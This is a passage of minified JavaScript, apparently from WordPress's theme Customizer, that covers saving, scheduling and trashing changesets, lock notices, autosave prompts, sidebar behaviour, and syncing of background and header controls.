Y.Notification(t,_.extend({fromServer:!0},e)),i=a.notifications(e.code);(n=i?e.type!==i.type||e.message!==i.message||!_.isEqual(e.data,i.data):n)&&a.notifications.remove(t),a.notifications.has(e.code)||a.notifications.add(e),o.push(a.id)}),a.notifications.each(function(e){!e.fromServer||"error"!==e.type||!0!==t&&t[e.code]||a.notifications.remove(e.code)}))}),e.focusInvalidControl&&(e=Y.findControlsForSettings(o),_(_.values(e)).find(function(e){return _(e).find(function(e){var t=e.section()&&Y.section.has(e.section())&&Y.section(e.section()).expanded();return(t=t&&e.expanded?e.expanded():t)&&(e.focus(),n=!0),n})}),n||_.isEmpty(e)||_.values(e)[0][0].focus())},Y.findControlsForSettings=function(e){var n,i={};return _.each(_.unique(e),function(e){var t=Y(e);t&&(n=t.findControls())&&0<n.length&&(i[e]=n)}),i},Y.reflowPaneContents=_.bind(function(){var i,e,t,a=[],o=!1;document.activeElement&&(e=J(document.activeElement)),Y.panel.each(function(e){var t,n;"themes"===e.id||(t=e.sections(),n=_.pluck(t,"headContainer"),a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]")))||(_(t).each(function(e){i.append(e.headContainer)}),o=!0)}),Y.section.each(function(e){var t=e.controls(),n=_.pluck(t,"container");e.panel()||a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]"))||(_(t).each(function(e){i.append(e.container)}),o=!0)}),a.sort(Y.utils.prioritySort),t=_.pluck(a,"headContainer"),i=J("#customize-theme-controls .customize-pane-parent"),Y.utils.areElementListsEqual(t,i.children())||(_(a).each(function(e){i.append(e.headContainer)}),o=!0),Y.panel.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),Y.section.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),o&&e&&e.trigger("focus"),Y.trigger("pane-contents-reflowed")},Y),Y.state=new Y.Values,_.each(["saved","saving","trashing","activated","processing","paneVisible","expandedPanel","expandedSection","changesetDate","selectedChangesetDate","changesetStatus","selectedChangesetStatus","remainingTimeToPublish","previewerAlive","editShortcutVisibility","changesetLocked","previewedDevice"],function(e){Y.state.create(e)}),J(function(){var h,o,t,n,i,d,u,p,a,s,r,c,l,f,m,H,L,g,v,w,b,M,O,C,R,y,e,x,k,z,S,T,E,j,q,B,D,N,P,I,U,A;function F(e){e&&e.lockUser&&(Y.settings.changeset.lockUser=e.lockUser),Y.state("changesetLocked").set(!0),Y.notifications.add(new R("changeset_locked",{lockUser:Y.settings.changeset.lockUser,allowOverride:Boolean(e&&e.allowOverride)}))}function W(){var e,t=document.createElement("a");return t.href=location.href,e=Y.utils.parseQueryString(t.search.substr(1)),Y.settings.changeset.latestAutoDraftUuid?e.changeset_uuid=Y.settings.changeset.latestAutoDraftUuid:e.customize_autosaved="on",e.return=Y.settings.url.return,t.search=J.param(e),t.href}function Q(){T||(wp.ajax.post("customize_dismiss_autosave_or_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:!0}),T=!0)}function K(){var e;return Y.state("activated").get()?(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),Y.state("selectedChangesetStatus").get()===e&&("future"!==Y.state("selectedChangesetStatus").get()||Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get())&&Y.state("saved").get()&&"auto-draft"!==Y.state("changesetStatus").get()):0===Y._latestRevision}function V(){Y.unbind("change",V),Y.state("selectedChangesetStatus").unbind(V),Y.state("selectedChangesetDate").unbind(V),J(window).on("beforeunload.customize-confirm",function(){if(!K()&&!Y.state("changesetLocked").get())return setTimeout(function(){t.removeClass("customize-loading")},1),Y.l10n.saveAlert})}function $(){var e=J.Deferred(),t=!1,n=!1;return K()?n=!0:confirm(Y.l10n.saveAlert)?(n=!0,Y.each(function(e){e._dirty=!1}),J(document).off("visibilitychange.wp-customize-changeset-update"),J(window).off("beforeunload.wp-customize-changeset-update"),i.css("cursor","progress"),""!==Y.state("changesetStatus").get()&&(t=!0)):e.reject(),(n||t)&&wp.ajax.send("customize_dismiss_autosave_or_lock",{timeout:500,data:{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:t,dismiss_lock:n}}).always(function(){e.resolve()}),e.promise()}Y.settings=window._wpCustomizeSettings,Y.l10n=window._wpCustomizeControlsL10n,Y.settings&&J.support.postMessage&&(J.support.cors||!Y.settings.isCrossDomain)&&(null===Y.PreviewFrame.prototype.sensitivity&&(Y.PreviewFrame.prototype.sensitivity=Y.settings.timeouts.previewFrameSensitivity),null===Y.Previewer.prototype.refreshBuffer&&(Y.Previewer.prototype.refreshBuffer=Y.settings.timeouts.windowRefresh),o=J(document.body),t=o.children(".wp-full-overlay"),n=J("#customize-info .panel-title.site-title"),i=J(".customize-controls-close"),d=J("#save"),u=J("#customize-save-button-wrapper"),p=J("#publish-settings"),a=J("#customize-footer-actions"),Y.bind("ready",function(){Y.section.add(new Y.OuterSection("publish_settings",{title:Y.l10n.publishSettings,priority:0,active:Y.settings.theme.active}))}),Y.section("publish_settings",function(t){var e,n,i,a,o,s,r;function c(){r=r||Y.utils.highlightButton(u,{delay:1e3,focusTarget:d})}function l(){r&&(r(),r=null)}e=new Y.Control("trash_changeset",{type:"button",section:t.id,priority:30,input_attrs:{class:"button-link button-link-delete",value:Y.l10n.discardChanges}}),Y.control.add(e),e.deferred.embedded.done(function(){e.container.find(".button-link").on("click",function(){confirm(Y.l10n.trashConfirm)&&wp.customize.previewer.trash()})}),Y.control.add(new Y.PreviewLinkControl("changeset_preview_link",{section:t.id,priority:100})),t.active.validate=n=function(){return!!Y.state("activated").get()&&!(Y.state("trashing").get()||"trash"===Y.state("changesetStatus").get()||""===Y.state("changesetStatus").get()&&Y.state("saved").get())},s=function(){t.active.set(n())},Y.state("activated").bind(s),Y.state("trashing").bind(s),Y.state("saved").bind(s),Y.state("changesetStatus").bind(s),s(),(s=function(){p.toggle(t.active.get()),d.toggleClass("has-next-sibling",t.active.get())})(),t.active.bind(s),Y.state("selectedChangesetStatus").bind(l),t.contentContainer.find(".customize-action").text(Y.l10n.updating),t.contentContainer.find(".customize-section-back").removeAttr("tabindex"),p.prop("disabled",!1),p.on("click",function(e){e.preventDefault(),t.expanded.set(!t.expanded.get())}),t.expanded.bind(function(e){p.attr("aria-expanded",String(e)),p.toggleClass("active",e),e?l():(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),(Y.state("selectedChangesetStatus").get()!==e||"future"===Y.state("selectedChangesetStatus").get()&&Y.state("selectedChangesetDate").get()!==Y.state("changesetDate").get())&&c())}),s=new Y.Control("changeset_status",{priority:10,type:"radio",section:"publish_settings",setting:Y.state("selectedChangesetStatus"),templateId:"customize-selected-changeset-status-control",label:Y.l10n.action,choices:Y.settings.changeset.statusChoices}),Y.control.add(s),(i=new Y.DateTimeControl("changeset_scheduled_date",{priority:20,section:"publish_settings",setting:Y.state("selectedChangesetDate"),minYear:(new Date).getFullYear(),allowPastDate:!1,includeTime:!0,twelveHourFormat:/a/i.test(Y.settings.timeFormat),description:Y.l10n.scheduleDescription})).notifications.alt=!0,Y.control.add(i),a=function(){Y.state("selectedChangesetStatus").set("publish"),Y.previewer.save()},s=function(){var e="future"===Y.state("changesetStatus").get()&&"future"===Y.state("selectedChangesetStatus").get()&&Y.state("changesetDate").get()&&Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get()&&0<=Y.utils.getRemainingTime(Y.state("changesetDate").get());e&&!o?o=setInterval(function(){var e=Y.utils.getRemainingTime(Y.state("changesetDate").get());Y.state("remainingTimeToPublish").set(e),e<=0&&(clearInterval(o),o=0,a())},1e3):!e&&o&&(clearInterval(o),o=0)},Y.state("changesetDate").bind(s),Y.state("selectedChangesetDate").bind(s),Y.state("changesetStatus").bind(s),Y.state("selectedChangesetStatus").bind(s),s(),i.active.validate=function(){return"future"===Y.state("selectedChangesetStatus").get()},(s=function(e){i.active.set("future"===e)})(Y.state("selectedChangesetStatus").get()),Y.state("selectedChangesetStatus").bind(s),Y.state("saving").bind(function(e){e&&"future"===Y.state("selectedChangesetStatus").get()&&i.toggleFutureDateNotification(!i.isFutureDate())})}),J("#customize-controls").on("keydown",function(e){var t=13===e.which,n=J(e.target);t&&(n.is("input:not([type=button])")||n.is("select"))&&e.preventDefault()}),J(".customize-info").find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e=J(this).closest(".accordion-section"),t=e.find(".customize-panel-description:first");e.hasClass("cannot-expand")||(e.hasClass("open")?(e.toggleClass("open"),t.slideUp(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(t.slideDown(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),e.toggleClass("open"),J(this).attr("aria-expanded",!0)))}),Y.previewer=new Y.Previewer({container:"#customize-preview",form:"#customize-controls",previewUrl:Y.settings.url.preview,allowedUrls:Y.settings.url.allowed},{nonce:Y.settings.nonce,query:function(e){var t={wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,nonce:this.nonce.preview,customize_changeset_uuid:Y.settings.changeset.uuid};return!Y.settings.changeset.autosaved&&Y.state("saved").get()||(t.customize_autosaved="on"),t.customized=JSON.stringify(Y.dirtyValues({unsaved:e&&e.excludeCustomizedSaved})),t},save:function(i){var e,t,a=this,o=J.Deferred(),s=Y.state("selectedChangesetStatus").get(),r=Y.state("selectedChangesetDate").get(),n=Y.state("processing"),c={},l=[],d=[],u=[];function p(e){c[e.id]=!0}return i&&i.status&&(s=i.status),Y.state("saving").get()&&(o.reject("already_saving"),o.promise()),Y.state("saving").set(!0),t=function(){var n={},t=Y._latestRevision,e="client_side_error";if(Y.bind("change",p),Y.notifications.remove(e),Y.each(function(t){t.notifications.each(function(e){"error"!==e.type||e.fromServer||(l.push(t.id),n[t.id]||(n[t.id]={}),n[t.id][e.code]=e)})}),Y.control.each(function(t){t.setting&&(t.setting.id||!t.active.get())||t.notifications.each(function(e){"error"===e.type&&u.push([t])})}),d=_.union(u,_.values(Y.findControlsForSettings(l))),!_.isEmpty(d))return d[0][0].focus(),Y.unbind("change",p),l.length&&Y.notifications.add(new Y.Notification(e,{message:(1===l.length?Y.l10n.saveBlockedError.singular:Y.l10n.saveBlockedError.plural).replace(/%s/g,String(l.length)),type:"error",dismissible:!0,saveFailure:!0})),o.rejectWith(a,[{setting_invalidities:n}]),Y.state("saving").set(!1),o.promise();e=J.extend(a.query({excludeCustomizedSaved:!1}),{nonce:a.nonce.save,customize_changeset_status:s}),i&&i.date?e.customize_changeset_date=i.date:"future"===s&&r&&(e.customize_changeset_date=r),i&&i.title&&(e.customize_changeset_title=i.title),Y.trigger("save-request-params",e),e=wp.ajax.post("customize_save",e),Y.state("processing").set(Y.state("processing").get()+1),Y.trigger("save",e),e.always(function(){Y.state("processing").set(Y.state("processing").get()-1),Y.state("saving").set(!1),Y.unbind("change",p)}),Y.notifications.each(function(e){e.saveFailure&&Y.notifications.remove(e.code)}),e.fail(function(e){var t,n={type:"error",dismissible:!0,fromServer:!0,saveFailure:!0};"0"===e?e="not_logged_in":"-1"===e&&(e="invalid_nonce"),"invalid_nonce"===e?a.cheatin():"not_logged_in"===e?(a.preview.iframe.hide(),a.login().done(function(){a.save(),a.preview.iframe.show()})):e.code?"not_future_date"===e.code&&Y.section.has("publish_settings")&&Y.section("publish_settings").active.get()&&Y.control.has("changeset_scheduled_date")?Y.control("changeset_scheduled_date").toggleFutureDateNotification(!0).focus():"changeset_locked"!==e.code&&(t=new Y.Notification(e.code,_.extend(n,{message:e.message}))):t=new Y.Notification("unknown_error",_.extend(n,{message:Y.l10n.unknownRequestFail})),t&&Y.notifications.add(t),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.rejectWith(a,[e]),Y.trigger("error",e),"changeset_already_published"===e.code&&e.next_changeset_uuid&&(Y.settings.changeset.uuid=e.next_changeset_uuid,Y.state("changesetStatus").set(""),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y.previewer.send("changeset-uuid",Y.settings.changeset.uuid))}),e.done(function(e){a.send("saved",e),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),"publish"===e.changeset_status&&(Y.each(function(e){e._dirty&&(_.isUndefined(Y._latestSettingRevisions[e.id])||Y._latestSettingRevisions[e.id]<=t)&&(e._dirty=!1)}),Y.state("changesetStatus").set(""),Y.settings.changeset.uuid=e.next_changeset_uuid,Y.settings.changeset.branching)&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y._lastSavedRevision=Math.max(t,Y._lastSavedRevision),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.resolveWith(a,[e]),Y.trigger("saved",e),_.isEmpty(c)||Y.state("saved").set(!1)})},0===n()?t():(e=function(){0===n()&&(Y.state.unbind("change",e),t())},Y.state.bind("change",e)),o.promise()},trash:function(){var e,n,i;Y.state("trashing").set(!0),Y.state("processing").set(Y.state("processing").get()+1),e=wp.ajax.post("customize_trash",{customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.trash}),Y.notifications.add(new Y.OverlayNotification("changeset_trashing",{type:"info",message:Y.l10n.revertingChanges,loading:!0})),n=function(){var e,t=document.createElement("a");Y.state("changesetStatus").set("trash"),Y.each(function(e){e._dirty=!1}),Y.state("saved").set(!0),t.href=location.href,delete(e=Y.utils.parseQueryString(t.search.substr(1))).changeset_uuid,e.return=Y.settings.url.return,t.search=J.param(e),location.replace(t.href)},i=function(e,t){e=e||"unknown_error";Y.state("processing").set(Y.state("processing").get()-1),Y.state("trashing").set(!1),Y.notifications.remove("changeset_trashing"),Y.notifications.add(new Y.Notification(e,{message:t||Y.l10n.unknownError,dismissible:!0,type:"error"}))},e.done(function(e){n(e.message)}),e.fail(function(e){var t=e.code||"trashing_failed";e.success||"non_existent_changeset"===t||"changeset_already_trashed"===t?n(e.message):i(t,e.message)})},getFrontendPreviewUrl:function(){var e,t=document.createElement("a");return t.href=this.previewUrl.get(),e=Y.utils.parseQueryString(t.search.substr(1)),Y.state("changesetStatus").get()&&"publish"!==Y.state("changesetStatus").get()&&(e.customize_changeset_uuid=Y.settings.changeset.uuid),Y.state("activated").get()||(e.customize_theme=Y.settings.theme.stylesheet),t.search=J.param(e),t.href}}),J.ajaxPrefilter(function(e){/wp_customize=on/.test(e.data)&&(e.data+="&"+J.param({customize_preview_nonce:Y.settings.nonce.preview}))}),Y.previewer.bind("nonce",function(e){J.extend(this.nonce,e)}),Y.bind("nonce-refresh",function(e){J.extend(Y.settings.nonce,e),J.extend(Y.previewer.nonce,e),Y.previewer.send("nonce-refresh",e)}),J.each(Y.settings.settings,function(e,t){var n=Y.settingConstructor[t.type]||Y.Setting;Y.add(new n(e,t.value,{transport:t.transport,previewer:Y.previewer,dirty:!!t.dirty}))}),J.each(Y.settings.panels,function(e,t){var n=Y.panelConstructor[t.type]||Y.Panel,t=_.extend({params:t},t);Y.panel.add(new n(e,t))}),J.each(Y.settings.sections,function(e,t){var n=Y.sectionConstructor[t.type]||Y.Section,t=_.extend({params:t},t);Y.section.add(new n(e,t))}),J.each(Y.settings.controls,function(e,t){var n=Y.controlConstructor[t.type]||Y.Control,t=_.extend({params:t},t);Y.control.add(new n(e,t))}),_.each(["panel","section","control"],function(e){var t=Y.settings.autofocus[e];t&&Y[e](t,function(e){e.deferred.embedded.done(function(){Y.previewer.deferred.active.done(function(){e.focus()})})})}),Y.bind("ready",Y.reflowPaneContents),J([Y.panel,Y.section,Y.control]).each(function(e,t){var n=_.debounce(Y.reflowPaneContents,Y.settings.timeouts.reflowPaneContents);t.bind("add",n),t.bind("change",n),t.bind("remove",n)}),Y.bind("ready",function(){var e,t,n;Y.notifications.container=J("#customize-notifications-area"),Y.notifications.bind("change",_.debounce(function(){Y.notifications.render()})),e=J(".wp-full-overlay-sidebar-content"),Y.notifications.bind("rendered",function(){e.css("top",""),0!==Y.notifications.count()&&(t=Y.notifications.container.outerHeight()+1,n=parseInt(e.css("top"),10),e.css("top",n+t+"px")),Y.notifications.trigger("sidebarTopUpdated")}),Y.notifications.render()}),s=Y.state,c=s.instance("saved"),l=s.instance("saving"),f=s.instance("trashing"),m=s.instance("activated"),e=s.instance("processing"),I=s.instance("paneVisible"),H=s.instance("expandedPanel"),L=s.instance("expandedSection"),g=s.instance("changesetStatus"),v=s.instance("selectedChangesetStatus"),w=s.instance("changesetDate"),b=s.instance("selectedChangesetDate"),M=s.instance("previewerAlive"),O=s.instance("editShortcutVisibility"),C=s.instance("changesetLocked"),s.bind("change",function(){var e;m()?""===g.get()&&c()?(Y.settings.changeset.currentUserCanPublish?d.val(Y.l10n.published):d.val(Y.l10n.saved),i.find(".screen-reader-text").text(Y.l10n.close)):("draft"===v()?c()&&v()===g()?d.val(Y.l10n.draftSaved):d.val(Y.l10n.saveDraft):"future"===v()?!c()||v()!==g()||w.get()!==b.get()?d.val(Y.l10n.schedule):d.val(Y.l10n.scheduled):Y.settings.changeset.currentUserCanPublish&&d.val(Y.l10n.publish),i.find(".screen-reader-text").text(Y.l10n.cancel)):(d.val(Y.l10n.activate),i.find(".screen-reader-text").text(Y.l10n.cancel)),e=!l()&&!f()&&!C()&&(!m()||!c()||g()!==v()&&""!==g()||"future"===v()&&w.get()!==b.get()),d.prop("disabled",!e)}),v.validate=function(e){return""===e||"auto-draft"===e?null:e},S=Y.settings.changeset.currentUserCanPublish?"publish":"draft",g(Y.settings.changeset.status),C(Boolean(Y.settings.changeset.lockUser)),w(Y.settings.changeset.publishDate),b(Y.settings.changeset.publishDate),v(""===Y.settings.changeset.status||"auto-draft"===Y.settings.changeset.status?S:Y.settings.changeset.status),v.link(g),c(!0),""===g()&&Y.each(function(e){e._dirty&&c(!1)}),l(!1),m(Y.settings.theme.active),e(0),I(!0),H(!1),L(!1),M(!0),O("visible"),Y.bind("change",function(){s("saved").get()&&s("saved").set(!1)}),Y.settings.changeset.branching&&c.bind(function(e){e||r(!0)}),l.bind(function(e){o.toggleClass("saving",e)}),f.bind(function(e){o.toggleClass("trashing",e)}),Y.bind("saved",function(e){s("saved").set(!0),"publish"===e.changeset_status&&s("activated").set(!0)}),m.bind(function(e){e&&Y.trigger("activated")}),r=function(e){var t,n;if(history.replaceState){if((t=document.createElement("a")).href=location.href,n=Y.utils.parseQueryString(t.search.substr(1)),e){if(n.changeset_uuid===Y.settings.changeset.uuid)return;n.changeset_uuid=Y.settings.changeset.uuid}else{if(!n.changeset_uuid)return;delete n.changeset_uuid}t.search=J.param(n),history.replaceState({},document.title,t.href)}},Y.settings.changeset.branching&&g.bind(function(e){r(""!==e&&"publish"!==e&&"trash"!==e)}),R=Y.OverlayNotification.extend({templateId:"customize-changeset-locked-notification",lockUser:null,initialize:function(e,t){e=e||"changeset_locked",t=_.extend({message:"",type:"warning",containerClasses:"",lockUser:{}},t);t.containerClasses+=" notification-changeset-locked",Y.OverlayNotification.prototype.initialize.call(this,e,t)},render:function(){var t,n,i=this,e=_.extend({allowOverride:!1,returnUrl:Y.settings.url.return,previewUrl:Y.previewer.previewUrl.get(),frontendPreviewUrl:Y.previewer.getFrontendPreviewUrl()},this),a=Y.OverlayNotification.prototype.render.call(e);return Y.requestChangesetUpdate({},{autosave:!0}).fail(function(e){e.autosaved||a.find(".notice-error").prop("hidden",!1).text(e.message||Y.l10n.unknownRequestFail)}),(t=a.find(".customize-notice-take-over-button")).on("click",function(e){e.preventDefault(),n||(t.addClass("disabled"),(n=wp.ajax.post("customize_override_changeset_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.override_lock})).done(function(){Y.notifications.remove(i.code),Y.state("changesetLocked").set(!1)}),n.fail(function(e){e=e.message||Y.l10n.unknownRequestFail;a.find(".notice-error").prop("hidden",!1).text(e),n.always(function(){t.removeClass("disabled")})}),n.always(function(){n=null}))}),a}}),Y.settings.changeset.lockUser&&F({allowOverride:!0}),J(document).on("heartbeat-send.update_lock_notice",function(e,t){t.check_changeset_lock=!0,t.changeset_uuid=Y.settings.changeset.uuid}),J(document).on("heartbeat-tick.update_lock_notice",function(e,t){var n,i="changeset_locked";t.customize_changeset_lock_user&&((n=Y.notifications(i))&&n.lockUser.id!==Y.settings.changeset.lockUser.id&&Y.notifications.remove(i),F({lockUser:t.customize_changeset_lock_user}))}),Y.bind("error",function(e){"changeset_locked"===e.code&&e.lock_user&&F({lockUser:e.lock_user})}),T=!(S=[]),Y.settings.changeset.autosaved&&(Y.state("saved").set(!1),S.push("customize_autosaved")),Y.settings.changeset.branching||Y.settings.changeset.status&&"auto-draft"!==Y.settings.changeset.status||S.push("changeset_uuid"),0<S.length&&(S=S,e=document.createElement("a"),x=0,e.href=location.href,y=Y.utils.parseQueryString(e.search.substr(1)),_.each(S,function(e){void 0!==y[e]&&(x+=1,delete y[e])}),0!==x)&&(e.search=J.param(y),history.replaceState({},document.title,e.href)),(Y.settings.changeset.latestAutoDraftUuid||Y.settings.changeset.hasAutosaveRevision)&&(z="autosave_available",Y.notifications.add(new Y.Notification(z,{message:Y.l10n.autosaveNotice,type:"warning",dismissible:!0,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("a");return t.prop("href",W()),t.on("click",function(e){e.preventDefault(),location.replace(W())}),e.find(".notice-dismiss").on("click",Q),e}})),Y.bind("change",k=function(){Q(),Y.notifications.remove(z),Y.unbind("change",k),Y.state("changesetStatus").unbind(k)}),Y.state("changesetStatus").bind(k)),parseInt(J("#customize-info").data("block-theme"),10)&&(S=Y.l10n.blockThemeNotification,Y.notifications.add(new Y.Notification("site_editor_block_theme_notice",{message:S,type:"info",dismissible:!1,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("button.switch-to-editor");return t.on("click",function(e){e.preventDefault(),location.assign(t.data("action"))}),e}}))),Y.previewer.previewUrl()?Y.previewer.refresh():Y.previewer.previewUrl(Y.settings.url.home),d.on("click",function(e){Y.previewer.save(),e.preventDefault()}).on("keydown",function(e){9!==e.which&&(13===e.which&&Y.previewer.save(),e.preventDefault())}),i.on("keydown",function(e){9!==e.which&&(13===e.which&&this.click(),e.preventDefault())}),J(".collapse-sidebar").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),Y.state("paneVisible").bind(function(e){t.toggleClass("preview-only",!e),t.toggleClass("expanded",e),t.toggleClass("collapsed",!e),e?J(".collapse-sidebar").attr({"aria-expanded":"true","aria-label":Y.l10n.collapseSidebar}):J(".collapse-sidebar").attr({"aria-expanded":"false","aria-label":Y.l10n.expandSidebar})}),o.on("keydown",function(e){var t,n=[],i=[],a=[];27===e.which&&(J(e.target).is("body")||J.contains(J("#customize-controls")[0],e.target))&&null===e.target.closest(".block-editor-writing-flow")&&null===e.target.closest(".block-editor-block-list__block-popover")&&(Y.control.each(function(e){e.expanded&&e.expanded()&&_.isFunction(e.collapse)&&n.push(e)}),Y.section.each(function(e){e.expanded()&&i.push(e)}),Y.panel.each(function(e){e.expanded()&&a.push(e)}),0<n.length&&0===i.length&&(n.length=0),t=n[0]||i[0]||a[0])&&("themes"===t.params.type?o.hasClass("modal-open")?t.closeDetails():Y.panel.has("themes")&&Y.panel("themes").collapse():(t.collapse(),e.preventDefault()))}),J(".customize-controls-preview-toggle").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),P=J(".wp-full-overlay-sidebar-content"),I=function(e){var t=Y.state("expandedSection").get(),n=Y.state("expandedPanel").get();if(D&&D.element&&(j(D.element),D.element.find(".description").off("toggled",E)),!e)if(!t&&n&&n.contentContainer)e=n;else{if(n||!t||!t.contentContainer)return void(D=!1);e=t}(n=e.contentContainer.find(".customize-section-title, .panel-meta").first()).length?((D={instance:e,element:n,parent:n.closest(".customize-pane-child"),height:n.outerHeight()}).element.find(".description").on("toggled",E),t&&q(D.element,D.parent)):D=!1},Y.state("expandedSection").bind(I),Y.state("expandedPanel").bind(I),P.on("scroll",_.throttle(function(){var e,t;D&&(e=P.scrollTop(),t=N?e===N?0:N<e?1:-1:1,N=e,0!==t)&&B(D,e,t)},8)),Y.notifications.bind("sidebarTopUpdated",function(){D&&D.element.hasClass("is-sticky")&&D.element.css("top",P.css("top"))}),j=function(e){e.hasClass("is-sticky")&&e.removeClass("is-sticky").addClass("maybe-sticky is-in-view").css("top",P.scrollTop()+"px")},q=function(e,t){e.hasClass("is-in-view")&&(e.removeClass("maybe-sticky is-in-view").css({width:"",top:""}),t.css("padding-top",""))},E=function(){D.height=D.element.outerHeight()},B=function(e,t,n){var i=e.element,a=e.parent,e=e.height,o=parseInt(i.css("top"),10),s=i.hasClass("maybe-sticky"),r=i.hasClass("is-sticky"),c=i.hasClass("is-in-view");if(-1===n){if(!s&&e<=t)s=!0,i.addClass("maybe-sticky");else if(0===t)return i.removeClass("maybe-sticky is-in-view is-sticky").css({top:"",width:""}),void a.css("padding-top","");c&&!r?t<=o&&i.addClass("is-sticky").css({top:P.css("top"),width:a.outerWidth()+"px"}):s&&!c&&(i.addClass("is-in-view").css("top",t-e+"px"),a.css("padding-top",e+"px"))}else r&&(o=t,i.removeClass("is-sticky").css({top:o+"px",width:""})),c&&o+e<t&&(i.removeClass("is-in-view"),a.css("padding-top",""))},Y.previewedDevice=Y.state("previewedDevice"),Y.bind("ready",function(){_.find(Y.settings.previewableDevices,function(e,t){if(!0===e.default)return Y.previewedDevice.set(t),!0})}),a.find(".devices button").on("click",function(e){Y.previewedDevice.set(J(e.currentTarget).data("device"))}),Y.previewedDevice.bind(function(e){var t=J(".wp-full-overlay"),n="";a.find(".devices button").removeClass("active").attr("aria-pressed",!1),a.find(".devices .preview-"+e).addClass("active").attr("aria-pressed",!0),J.each(Y.settings.previewableDevices,function(e){n+=" preview-"+e}),t.removeClass(n).addClass("preview-"+e)}),n.length&&Y("blogname",function(t){function e(){var e=t()||"";n.text(e.toString().trim()||Y.l10n.untitledBlogName)}t.bind(e),e()}),h=new Y.Messenger({url:Y.settings.url.parent,channel:"loader"}),U=!1,h.bind("back",function(){U=!0}),Y.bind("change",V),Y.state("selectedChangesetStatus").bind(V),Y.state("selectedChangesetDate").bind(V),h.bind("confirm-close",function(){$().done(function(){h.send("confirmed-close",!0)}).fail(function(){h.send("confirmed-close",!1)})}),i.on("click.customize-controls-close",function(e){e.preventDefault(),U?h.send("close"):$().done(function(){J(window).off("beforeunload.customize-confirm"),window.location.href=i.prop("href")})}),J.each(["saved","change"],function(e,t){Y.bind(t,function(){h.send(t)})}),Y.bind("title",function(e){h.send("title",e)}),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),h.send("ready"),J.each({background_image:{controls:["background_preset","background_position","background_size","background_repeat","background_attachment"],callback:function(e){return!!e}},show_on_front:{controls:["page_on_front","page_for_posts"],callback:function(e){return"page"===e}},header_textcolor:{controls:["header_textcolor"],callback:function(e){return"blank"!==e}}},function(e,i){Y(e,function(n){J.each(i.controls,function(e,t){Y.control(t,function(t){function e(e){t.container.toggle(i.callback(e))}e(n.get()),n.bind(e)})})})}),Y.control("background_preset",function(e){var i={default:[!1,!1,!1,!1],fill:[!0,!1,!1,!1],fit:[!0,!1,!0,!1],repeat:[!0,!1,!1,!0],custom:[!0,!0,!0,!0]},a={default:[_wpCustomizeBackground.defaults["default-position-x"],_wpCustomizeBackground.defaults["default-position-y"],_wpCustomizeBackground.defaults["default-size"],_wpCustomizeBackground.defaults["default-repeat"],_wpCustomizeBackground.defaults["default-attachment"]],fill:["left","top","cover","no-repeat","fixed"],fit:["left","top","contain","no-repeat","fixed"],repeat:["left","top","auto","repeat","scroll"]},t=function(n){_.each(["background_position","background_size","background_repeat","background_attachment"],function(e,t){e=Y.control(e);e&&e.container.toggle(i[n][t])})},n=function(n){_.each(["background_position_x","background_position_y","background_size","background_repeat","background_attachment"],function(e,t){e=Y(e);e&&e.set(a[n][t])})},o=e.setting.get();t(o),e.setting.bind("change",function(e){t(e),"custom"!==e&&n(e)})}),Y.control("background_repeat",function(t){t.elements[0].unsync(Y("background_repeat")),t.element=new Y.Element(t.container.find("input")),t.element.set("no-repeat"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"repeat":"no-repeat")}),t.setting.bind(function(e){t.element.set("no-repeat"!==e)})}),Y.control("background_attachment",function(t){t.elements[0].unsync(Y("background_attachment")),t.element=new Y.Element(t.container.find("input")),t.element.set("fixed"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"scroll":"fixed")}),t.setting.bind(function(e){t.element.set("fixed"!==e)})}),Y.control("display_header_text",function(t){var n="";t.elements[0].unsync(Y("header_textcolor")),t.element=new Y.Element(t.container.find("input")),t.element.set("blank"!==t.setting()),t.element.bind(function(e){e||(n=Y("header_textcolor").get()),t.setting.set(e?n:"blank")}),t.setting.bind(function(e){t.element.set("blank"!==e)})}),Y("show_on_front","page_on_front","page_for_posts",function(i,a,o){function e(){var e="show_on_front_page_collision",t=parseInt(a(),10),n=parseInt(o(),10);"page"===i()&&(this===a&&0<t&&Y.previewer.previewUrl.set(Y.settings.url.home),this===o)&&0<n&&Y.previewer.previewUrl.set(Y.settings.url.home+"?page_id="+n),"page"===i()&&t&&n&&t===n?i.notifications.add(new 